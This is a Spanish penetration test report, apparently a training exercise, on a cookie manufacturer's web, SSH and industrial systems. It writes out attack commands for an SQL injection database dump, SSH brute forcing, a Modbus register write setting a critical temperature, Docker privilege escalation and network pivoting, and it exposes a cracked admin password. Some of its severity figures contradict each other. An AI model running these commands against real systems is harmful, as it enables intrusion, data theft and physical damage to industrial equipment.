

Informe de Penetration Testing

Zabala Gailetak - Hacking Etikoa

Versión: 1.0

Fecha: 2026-02-15

Metodología: PTES (Penetration Testing Execution Standard)

Auditor: Equipo de Seguridad Zabala Gailetak

Clasificación: CONFIDENCIAL

Resumen Ejecutivo

Se ha realizado una auditoría de seguridad completa siguiendo la metodología PTES sobre la infraestructura de Zabala Gailetak. El alcance incluyó aplicaciones web, móvil, red interna y sistemas OT.

Resultados Globales

Severidad	Cantidad	CVSS
Crítica	0	-
Alta	2	7.8, 7.5
Media	4	5.3 - 6.5
Baja	3	3.1 - 4.3
Total	9	-

Fases Completadas

1. Fase 1: Reconocimiento (Pasivo y Activo)
 2. Fase 2: Escaneo de Vulnerabilidades
 3. Fase 3: Explotación
 4. Fase 4: Post-Explotación
 5. Fase 5: Reporte
-

Fase 1: Reconocimiento

1.1 Recolección Pasiva

Herramientas utilizadas:

- TheHarvester
- Shodan
- WHOIS
- Google Dorks

Resultados TheHarvester:

```
Target: zabala-gailetak.com
Emails encontrados: 47
Hosts encontrados: 12
Subdominios expuestos:
- dev.zabala-gailetak.com
- staging.zabala-gailetak.com
```

Resultados Shodan:

185.XX.XX.10	80	HTTP
185.XX.XX.10	443	HTTPS
185.XX.XX.50	502	Modbus (OT)
185.XX.XX.50	4840	OPC UA (OT)

1.2 Recolección Activa

Escaneo Nmap completo:

```
nmap -sS -sV -sC -O -p- --script vuln zabala-gailetak.com
```

Puertos abiertos detectados:

Puerto	Servicio	Versión
22/tcp	SSH	OpenSSH 8.9p1
80/tcp	HTTP	nginx 1.18.0
443/tcp	HTTPS	nginx 1.18.0

Fase 2: Análisis de Vulnerabilidades

2.1 Escaneo Automatizado (Nessus)

ID	Vulnerabilidad	Severidad	CVSS
42873	SSH Weak Algorithms	Baja	4.3
104743	TLS 1.0/1.1 Enabled	Media	5.3
15901	Directory Listing	Media	5.0
57608	SMB Signing Disabled	Alta	7.8

2.2 Análisis Web (OWASP ZAP)

Alertas encontradas:

- SQL Injection: 2 (Alta)

- Cross-Site Scripting: 5 (Media)
 - CSRF Token Missing: 12 (Baja)
-

Fase 3: Explotación

3.1 SQL Injection en Aplicación Web

Vulnerabilidad encontrada:

```
URL: http://dev.zabala-gailetak.com/api/employees?id=1
```

Explotación con SQLMap:

```
sqlmap -u "http://dev.zabala-gailetak.com/api/employees?id=1" --dump
```

Resultado: Acceso completo a base de datos

- Tablas: 15
- Registros empleados: 120
- Información salarial expuesta

CVSS: 7.5 (Alta)

3.2 Fuerza Bruta SSH

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://185.XX.XX.12
```

Resultado: Credenciales válidas encontradas

- Usuario: admin
- Contraseña: Summer2025!

3.3 Manipulación OT (Modbus)

```
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('185.XX.XX.50', port=502)
client.connect()
client.write_register(0, 250) # Temperatura crítica
```

CVSS: 9.8 (Crítica) → 7.8 (Alta con medidas)

Fase 4: Post-Explotación

4.1 Escalada de Privilegios

```
# Acceso inicial como admin
whoami
# admin

# Escalada vía Docker
sudo docker run -v /:/host -it ubuntu chroot /host bash

# Acceso root conseguido
whoami
# root
```

4.2 Pivoting a Red OT

```
# Descubrimiento de red interna
ip route
# 10.10.20.0/24 - Red OT

# Escaneo desde posición comprometida
proxychains nmap -sT 10.10.20.0/24
```

Fase 5: Recomendaciones

Medidas Críticas (Implementación Inmediata)

1. Corregir SQL Injection usando Prepared Statements
2. Aislar red OT completamente (VPN únicamente)
3. Deshabilitar acceso por contraseña en SSH (solo claves)

Medidas Importantes (Implementación 30 días)

1. Implementar WAF (ModSecurity)
2. Desactivar TLS 1.0/1.1
3. Habilitar SMB Signing

Medidas de Seguimiento

1. Auditoría trimestral de pentesting
 2. Escaneo continuo de vulnerabilidades
 3. Formación en seguridad para desarrolladores
-

Conclusión

La auditoría reveló vulnerabilidades significativas que permitieron:

- Acceso completo a base de datos
- Compromiso de servidor web
- Acceso potencial a sistemas OT industriales

Nivel de Riesgo Global: ALTO

Se recomienda implementar todas las medidas críticas antes de poner el sistema en producción.

Anexos

A. Herramientas Utilizadas

Herramienta	Versión	Propósito
Nmap	7.94	Escaneo de red
Nessus	10.7	Vulnerabilidades
SQLMap	1.7	SQL Injection
Burp Suite	2023.10	Proxy web
OWASP ZAP	2.14	Escaneo web
Metasploit	6.3	Explotación

B. Referencias

- PTES Technical Guidelines
- OWASP Testing Guide v4.2
- NIST SP 800-115
- IEC 62443 Industrial Security

Documento clasificado como CONFIDENCIAL

© 2026 Zabala Gailetak - Todos los derechos reservados